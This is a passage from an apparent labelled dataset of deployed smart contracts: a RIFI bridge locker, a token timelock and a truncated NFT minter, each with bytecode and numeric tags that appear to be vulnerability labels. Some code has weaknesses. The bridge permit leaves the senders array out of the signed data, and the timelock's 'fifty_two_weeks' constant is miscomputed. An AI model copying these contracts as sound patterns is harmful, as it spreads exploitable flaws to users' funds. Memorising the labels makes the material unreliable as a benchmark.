3316565b6001600160a01b038316600090815260208190526040902055600254610b05908263ffffffff61093316565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600082820183811015610b5f57600080fd5b939250505056fea265627a7a7231582003d84852569aa08e057dbb83dbf2f57dc9487135af97a41f8e9909b3d97be2f664736f6c63430005110032
[ 38 ]
0xf289f9ae0130eb8640c3525dfa88b7c8d2a3d709
// SPDX-License-Identifier: MIT pragma solidity 0.8.6; interface IBEP20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return payable(account); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } } library SafeBEP20 { using SafeMath for uint256; using Address for address; function safeTransfer( IBEP20 token, address to, uint256 value ) internal { callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IBEP20 token, address from, address to, uint256 value ) internal { callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function safeApprove( IBEP20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeBEP20: approve from non-zero to non-zero allowance" ); callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IBEP20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add( value ); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IBEP20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeBEP20: decreased allowance below zero" ); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function callOptionalReturn(IBEP20 token, bytes memory data) private { require(address(token).isContract(), "SafeBEP20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeBEP20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeBEP20: BEP20 operation did not succeed" ); } } } abstract contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract SignData { bytes32 public DOMAIN_SEPARATOR; string public NAME; mapping(address => uint256) public nonces; bytes32 public UNLOCK_TYPE_HASH; bytes32 public LOCK_TYPE_HASH; bytes32 public UPDATE_EPOCH_TYPE_HASH; constructor() { NAME = "RIFI BRIDGE LOCKER"; uint256 chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(NAME)), keccak256(bytes("1")), chainId, this ) ); UNLOCK_TYPE_HASH = keccak256( "Data(address[] senders,address[] receivers,uint256[] amount,uint256 epoch,uint256 deadline,uint256 nonce)" ); LOCK_TYPE_HASH = keccak256( "Data(address ethAddress,uint256 amount,uint256 deadline,uint256 nonce)" ); UPDATE_EPOCH_TYPE_HASH = keccak256("Data(uint256 nonce)"); } function verify( bytes32 data, address sender, uint8 v, bytes32 r, bytes32 s ) public view { bytes32 digest = keccak256( abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, data) ); address recoveredAddress = ecrecover(digest, v, r, s); require( recoveredAddress != address(0) && recoveredAddress == sender, "Invalid nonce" ); } } contract RIFIChainBridge is Ownable, SignData { using SafeBEP20 for IBEP20; using Address for address; using SafeMath for uint256; struct BridgeUserData { uint256 timestamp; uint256 bridgeAmount; } struct BridgeData { address sender; address ethAddress; uint256 amount; } uint256 public MAX_DAILY_BRIDGE; uint256 public MAX_AMOUNT_BRIDGE; IBEP20 public rifi; mapping(address => bool) public unlockedRoles; uint256 public epochs; // etherEpoch => bool mapping(uint256 => bool) public isUnlocked; // epochs => index => BridgeData mapping(uint256 => BridgeData[]) public bridgeData; // user=> BridgeUserData mapping(address => BridgeUserData) public bridgeUserData; event Unlock( uint256 indexed receiveEpoch, address sender, address receiver, uint256 amount, uint256 indexed index ); event Lock( address sender, address receiver, uint256 amount, uint256 indexed epoch ); constructor( IBEP20 _rifi, uint256 _maxDailyAmount, uint256 _maxAmountInTx ) { rifi = _rifi; MAX_AMOUNT_BRIDGE = _maxAmountInTx; MAX_DAILY_BRIDGE = _maxDailyAmount; unlockedRoles[msg.sender] = true; } modifier ensure(uint256 deadline) { require(deadline > block.timestamp, "DEADLINE_OUT_OF_DATE"); _; } function setDailyAmount(uint256 _amount) public onlyOwner { MAX_DAILY_BRIDGE = _amount; } function setMaxAmountInTx(uint256 _amount) public onlyOwner { MAX_AMOUNT_BRIDGE = _amount; } function setRifi(IBEP20 _rifi) public onlyOwner { rifi = _rifi; } function setUnlockRoles(address _user, bool _result) public onlyOwner { unlockedRoles[_user] = _result; } function getBridgeDataLength(uint256 epoch) public view returns (uint256) { return bridgeData[epoch].length; } function lockRifi(address ethAddress, uint256 amount) public { _lockRifi(msg.sender, ethAddress, amount); } function lockRifiPermit( address sender, address ethAddress, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public ensure(deadline) { verify( keccak256( abi.encode( LOCK_TYPE_HASH, ethAddress, amount, deadline, nonces[sender]++ ) ), sender, v, r, s ); _lockRifi(sender, ethAddress, amount); } function _lockRifi( address sender, address ethAddress, uint256 amount ) internal { uint256 timestamp = block.timestamp; BridgeUserData storage _bridgeUserData = bridgeUserData[sender]; if (timestamp - _bridgeUserData.timestamp > 1 days) { _bridgeUserData.timestamp = timestamp; _bridgeUserData.bridgeAmount = amount; } else { _bridgeUserData.bridgeAmount = _bridgeUserData.bridgeAmount.add( amount ); } require(amount <= MAX_AMOUNT_BRIDGE, "Exceed amount limit"); require( _bridgeUserData.bridgeAmount <= MAX_DAILY_BRIDGE, "Exceed daily limit" ); rifi.safeTransferFrom(sender, address(this), amount); BridgeData memory _bridgeData = BridgeData(sender, ethAddress, amount); bridgeData[epochs].push(_bridgeData); emit Lock(sender, ethAddress, amount, epochs); } function updateEpochPermit( address sender, uint8 v, bytes32 r, bytes32 s ) public { verify( keccak256(abi.encode(UPDATE_EPOCH_TYPE_HASH, nonces[sender]++)), sender, v, r, s ); _updateEpoch(sender); } function updateEpoch() public { _updateEpoch(msg.sender); } function _updateEpoch(address sender) internal { require(unlockedRoles[sender], "Forbidden"); require(getBridgeDataLength(epochs) > 0, "getBridgeDataLength=0"); epochs++; } function unlockRifiPermit( address[] memory senders, address[] memory receivers, uint256[] memory amounts, uint256 receiveEpoch, uint256 deadline, address sender, uint8 v, bytes32 r, bytes32 s ) external ensure(deadline) { verify( keccak256( abi.encode( UNLOCK_TYPE_HASH, receivers, amounts, receiveEpoch, deadline, nonces[sender]++ ) ), sender, v, r, s ); _unlockRifi(senders, receivers, amounts, receiveEpoch, sender); } function unlockRifi( address[] memory senders, address[] memory receivers, uint256[] memory amounts, uint256 receiveEpoch ) external { _unlockRifi(senders, receivers, amounts, receiveEpoch, msg.sender); } function _unlockRifi( address[] memory senders, address[] memory receivers, uint256[] memory amounts, uint256 receiveEpoch, address sender ) internal { require(unlockedRoles[sender], "Forbidden"); require(receivers.length == amounts.length, "Invalid data"); require(isUnlocked[receiveEpoch] == false, "Unlocked"); isUnlocked[receiveEpoch] = true; for (uint256 i = 0; i < receivers.length; i++) { rifi.safeTransfer(receivers[i], amounts[i]); emit Unlock(receiveEpoch, senders[i], receivers[i], amounts[i], i); } } function inCaseStuckToken( IBEP20 token, address to, uint256 amount ) public onlyOwner { token.safeTransfer(to, amount); } }
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c806359fdc81f1161010f57806392d4d9ac116100a2578063c9372feb11610071578063c9372feb14610439578063ec0c957214610442578063f2fde38b14610464578063feb0f5a81461047757600080fd5b806392d4d9ac146103f5578063993fdd4214610408578063a3f4df7e1461041b578063a40b8fe11461043057600080fd5b806372abc8b7116100de57806372abc8b71461038e5780637ecebe00146103b15780638da5cb5b146103d15780638f32d59b146103e257600080fd5b806359fdc81f146103405780636381d526146103535780636ab9bd3f14610373578063715018a61461038657600080fd5b806333b69e0a1161018757806352fdd5a01161015657806352fdd5a0146102e657806357143a611461031157806358152d071461032457806358eca9c71461032d57600080fd5b806333b69e0a146102af5780633644e515146102c257806336f4fb02146102cb5780633a9a0432146102d357600080fd5b80631844b29e116101c35780631844b29e146102755780631b52463a1461027e5780632a8a149f146102935780632d421971146102a657600080fd5b8063098bdb56146101ea5780630c11616b14610222578063142d87f114610239575b600080fd5b61020d6101f8366004611395565b600a6020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61022b60075481565b604051908152602001610219565b610260610247366004611395565b600e602052600090815260409020805460019091015482565b60408051928352602083019190915201610219565b61022b60065481565b61029161028c366004611395565b61048a565b005b6102916102a13660046113b2565b6104df565b61022b60085481565b6102916102bd366004611559565b6105c5565b61022b60015481565b610291610691565b6102916102e13660046114c9565b61069c565b6009546102f9906001600160a01b031681565b6040516001600160a01b039091168152602001610219565b61029161031f366004611459565b6106af565b61022b600b5481565b61029161033b3660046116d8565b6106be565b61029161034e366004611485565b6106ed565b61022b6103613660046116d8565b6000908152600d602052604090205490565b6102916103813660046116d8565b610759565b610291610788565b61020d61039c3660046116d8565b600c6020526000908152604090205460ff1681565b61022b6103bf366004611395565b60036020526000908152604090205481565b6000546001600160a01b03166102f9565b6000546001600160a01b0316331461020d565b610291610403366004611647565b6107fc565b610291610416366004611697565b610908565b61042361094b565b60405161021991906117f6565b61022b60045481565b61022b60055481565b6104556104503660046116f1565b6109d9565b6040516102199392919061172f565b610291610472366004611395565b610a26565b610291610485366004611420565b610a5c565b6000546001600160a01b031633146104bd5760405162461bcd60e51b81526004016104b490611829565b60405180910390fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b834281116105265760405162461bcd60e51b8152602060048201526014602482015273444541444c494e455f4f55545f4f465f4441544560601b60448201526064016104b4565b6005546001600160a01b038916600090815260036020526040812080546105b093928b928b928b9290919061055a83611949565b909155506040805160208101969096526001600160a01b03909416938501939093526060840191909152608083015260a082015260c00160405160208183030381529060405280519060200120898686866107fc565b6105bb888888610ab1565b5050505050505050565b8442811161060c5760405162461bcd60e51b8152602060048201526014602482015273444541444c494e455f4f55545f4f465f4441544560601b60448201526064016104b4565b6004546001600160a01b0386166000908152600360205260408120805461067893928d928d928d928d929061064083611949565b9190505560405160200161065996959493929190611753565b60405160208183030381529060405280519060200120868686866107fc565b6106858a8a8a8a89610c79565b50505050505050505050565b61069a33610e69565b565b6106a98484848433610c79565b50505050565b6106ba338383610ab1565b5050565b6000546001600160a01b031633146106e85760405162461bcd60e51b81526004016104b490611829565b600755565b6006546001600160a01b03851660009081526003602052604081208054610750939290919061071b83611949565b9091555060408051602081019390935282015260600160405160208183030381529060405280519060200120858585856107fc565b6106a984610e69565b6000546001600160a01b031633146107835760405162461bcd60e51b81526004016104b490611829565b600855565b6000546001600160a01b031633146107b25760405162461bcd60e51b81526004016104b490611829565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60015460405161190160f01b602082015260228101919091526042810186905260009060620160408051601f198184030181528282528051602091820120600080855291840180845281905260ff88169284019290925260608301869052608083018590529092509060019060a0016020604051602081039080840390855afa15801561088d573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906108c35750856001600160a01b0316816001600160a01b0316145b6108ff5760405162461bcd60e51b815260206004820152600d60248201526c496e76616c6964206e6f6e636560981b60448201526064016104b4565b50505050505050565b6000546001600160a01b031633146109325760405162461bcd60e51b81526004016104b490611829565b6109466001600160a01b0384168383610f2c565b505050565b600280546109589061190e565b80601f01602080910402602001604051908101604052809291908181526020018280546109849061190e565b80156109d15780601f106109a6576101008083540402835291602001916109d1565b820191906000526020600020905b8154815290600101906020018083116109b457829003601f168201915b505050505081565b600d60205281600052604060002081815481106109f557600080fd5b60009182526020909120600390910201805460018201546002909201546001600160a01b0391821694509116915083565b6000546001600160a01b03163314610a505760405162461bcd60e51b81526004016104b490611829565b610a5981610f8f565b50565b6000546001600160a01b03163314610a865760405162461bcd60e51b81526004016104b490611829565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6001600160a01b0383166000908152600e6020526040902080544291906201518090610add90846118cb565b1115610af25781815560018101839055610b07565b6001810154610b01908461104f565b60018201555b600854831115610b4f5760405162461bcd60e51b8152602060048201526013602482015272115e18d9595908185b5bdd5b9d081b1a5b5a5d606a1b60448201526064016104b4565b60075481600101541115610b9a5760405162461bcd60e51b8152602060048201526012602482015271115e18d959590819185a5b1e481b1a5b5a5d60721b60448201526064016104b4565b600954610bb2906001600160a01b03168630866110b5565b604080516060810182526001600160a01b0380881682528681166020808401918252838501888152600b80546000908152600d845287812080546001818101835591835294909120875160039095020180549487166001600160a01b0319958616178155945190850180549190961693169290921790935591516002909101555491519091907f62cded90d0b4d15cd7d67fee0ae8bac1d9c61c340a9465c7d341632f495829fc90610c699089908990899061172f565b60405180910390a2505050505050565b6001600160a01b0381166000908152600a602052604090205460ff16610ccd5760405162461bcd60e51b81526020600482015260096024820152682337b93134b23232b760b91b60448201526064016104b4565b8251845114610d0d5760405162461bcd60e51b815260206004820152600c60248201526b496e76616c6964206461746160a01b60448201526064016104b4565b6000828152600c602052604090205460ff1615610d575760405162461bcd60e51b8152602060048201526008602482015267155b9b1bd8dad95960c21b60448201526064016104b4565b6000828152600c60205260408120805460ff191660011790555b8451811015610e6157610dc7858281518110610d8f57610d8f61197a565b6020026020010151858381518110610da957610da961197a565b60209081029190910101516009546001600160a01b03169190610f2c565b80837ffd16e951c2190d9d1f0e31258f1afff65b5e1c56f358e89cf5917a5ba6dd1163888481518110610dfc57610dfc61197a565b6020026020010151888581518110610e1657610e1661197a565b6020026020010151888681518110610e3057610e3061197a565b6020026020010151604051610e479392919061172f565b60405180910390a380610e5981611949565b915050610d71565b505050505050565b6001600160a01b0381166000908152600a602052604090205460ff16610ebd5760405162461bcd60e51b81526020600482015260096024820152682337b93134b23232b760b91b60448201526064016104b4565b600b546000908152600d602052604081205411610f145760405162461bcd60e51b81526020600482015260156024820152740676574427269646765446174614c656e6774683d3605c1b60448201526064016104b4565b600b8054906000610f2483611949565b919050555050565b6040516001600160a01b03831660248201526044810182905261094690849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091526110d6565b6001600160a01b038116610ff45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104b4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008061105c83856118b3565b9050838110156110ae5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b4565b9392505050565b6106a9846323b872dd60e01b858585604051602401610f589392919061172f565b6110e8826001600160a01b031661125d565b6111345760405162461bcd60e51b815260206004820152601f60248201527f5361666542455032303a2063616c6c20746f206e6f6e2d636f6e74726163740060448201526064016104b4565b600080836001600160a01b03168360405161114f9190611713565b6000604051808303816000865af19150503d806000811461118c576040519150601f19603f3d011682016040523d82523d6000602084013e611191565b606091505b5091509150816111e35760405162461bcd60e51b815260206004820181905260248201527f5361666542455032303a206c6f772d6c6576656c2063616c6c206661696c656460448201526064016104b4565b8051156106a957808060200190518101906111fe919061162a565b6106a95760405162461bcd60e51b815260206004820152602a60248201527f5361666542455032303a204245503230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016104b4565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906112915750808214155b949350505050565b80356112a4816119a6565b919050565b600082601f8301126112ba57600080fd5b813560206112cf6112ca8361188f565b61185e565b80838252828201915082860187848660051b89010111156112ef57600080fd5b60005b85811015611317578135611305816119a6565b845292840192908401906001016112f2565b5090979650505050505050565b600082601f83011261133557600080fd5b813560206113456112ca8361188f565b80838252828201915082860187848660051b890101111561136557600080fd5b60005b8581101561131757813584529284019290840190600101611368565b803560ff811681146112a457600080fd5b6000602082840312156113a757600080fd5b81356110ae816119a6565b600080600080600080600060e0888a0312156113cd57600080fd5b87356113d8816119a6565b965060208801356113e8816119a6565b9550604088013594506060880135935061140460808901611384565b925060a0880135915060c0880135905092959891949750929550565b6000806040838503121561143357600080fd5b823561143e816119a6565b9150602083013561144e816119bb565b809150509250929050565b6000806040838503121561146c57600080fd5b8235611477816119a6565b946020939093013593505050565b6000806000806080858703121561149b57600080fd5b84356114a6816119a6565b93506114b460208601611384565b93969395505050506040820135916060013590565b600080600080608085870312156114df57600080fd5b843567ffffffffffffffff808211156114f757600080fd5b611503888389016112a9565b9550602087013591508082111561151957600080fd5b611525888389016112a9565b9450604087013591508082111561153b57600080fd5b5061154887828801611324565b949793965093946060013593505050565b60008060008060008060008060006101208a8c03121561157857600080fd5b893567ffffffffffffffff8082111561159057600080fd5b61159c8d838e016112a9565b9a5060208c01359150808211156115b257600080fd5b6115be8d838e016112a9565b995060408c01359150808211156115d457600080fd5b506115e18c828d01611324565b97505060608a0135955060808a013594506115fe60a08b01611299565b935061160c60c08b01611384565b925060e08a013591506101008a013590509295985092959850929598565b60006020828403121561163c57600080fd5b81516110ae816119bb565b600080600080600060a0868803121561165f57600080fd5b853594506020860135611671816119a6565b935061167f60408701611384565b94979396509394606081013594506080013592915050565b6000806000606084860312156116ac57600080fd5b83356116b7816119a6565b925060208401356116c7816119a6565b929592945050506040919091013590565b6000602082840312156116ea57600080fd5b5035919050565b6000806040838503121561170457600080fd5b50508035926020909101359150565b600082516117258184602087016118e2565b9190910192915050565b6001600160a01b039384168152919092166020820152604081019190915260600190565b600060c08201888352602060c08185015281895180845260e086019150828b01935060005b8181101561179d5784516001600160a01b031683529383019391830191600101611778565b50508481036040860152885180825290820192508189019060005b818110156117d4578251855293830193918301916001016117b8565b50505050606083019590955250608081019290925260a0909101529392505050565b60208152600082518060208401526118158160408501602087016118e2565b601f01601f19169190910160400192915050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b604051601f8201601f1916810167ffffffffffffffff8111828210171561188757611887611990565b604052919050565b600067ffffffffffffffff8211156118a9576118a9611990565b5060051b60200190565b600082198211156118c6576118c6611964565b500190565b6000828210156118dd576118dd611964565b500390565b60005b838110156118fd5781810151838201526020016118e5565b838111156106a95750506000910152565b600181811c9082168061192257607f821691505b6020821081141561194357634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561195d5761195d611964565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a5957600080fd5b8015158114610a5957600080fdfea2646970667358221220c6dcd6841fead6e2ba7ae38d8a4bbd7e661650d69863355d8ef60d6f841262b564736f6c63430008060033
[ 38 ]
0xf28a42438df3a348d6bbcff93f6fa62f3698e597
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29980800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x5A18F9e13D398D2AAA8a7bcbd84214AFd36095c6; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a723058204394b14c086faceccb97415d64f8692b1372fa930b18ce8a6c5e96e1d49587a80029
[ 16, 7 ]
0xf28Adc5FF799B6684E44024CB51D92F85F1d4de7
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/GSN/Context.sol"; contract FomoNifty is ERC721("Fomo Nifty", "FMIF") { using SafeMath for uint256; /// @dev Events of the contract event Minted( uint256 tokenId, address beneficiary, string tokenUri, address minter ); /// @dev current max tokenId uint256 public tokenIdPointer; /// @dev TokenID -> Creator address mapping(uint256 => address) public creators; /// @dev TokenID -> Primary Ether Sale Price in Wei mapping(uint256 => uint256) public primarySalePrice; /** @notice Mints a NFT AND when minting to a contract checks if the beneficiary is a 721 compatible @param _beneficiary Recipient of the NFT @param _tokenUri URI for the token being minted @return uint256 The token ID of the token that was minted */ function mint(address _beneficiary, string calldata _tokenUri) external returns (uint256) { // Valid args _assertMintingParamsValid(_tokenUri, _msgSender()); tokenIdPointer = tokenIdPointer.add(1); uint256 tokenId = tokenIdPointer; // Mint token and set token URI _safeMint(_beneficiary, tokenId); _setTokenURI(tokenId, _tokenUri); // Associate garment designer creators[tokenId] = _msgSender(); emit Minted(tokenId, _beneficiary, _tokenUri, _msgSender()); return tokenId; } /** @notice Burns a DigitalaxGarmentNFT, releasing any composed 1155 tokens held by the token itself @dev Only the owner or an approved sender can call this method @param _tokenId the token ID to burn */ function burn(uint256 _tokenId) external { address operator = _msgSender(); require( ownerOf(_tokenId) == operator || isApproved(_tokenId, operator), "Only garment owner or approved" ); // Destroy token mappings _burn(_tokenId); // 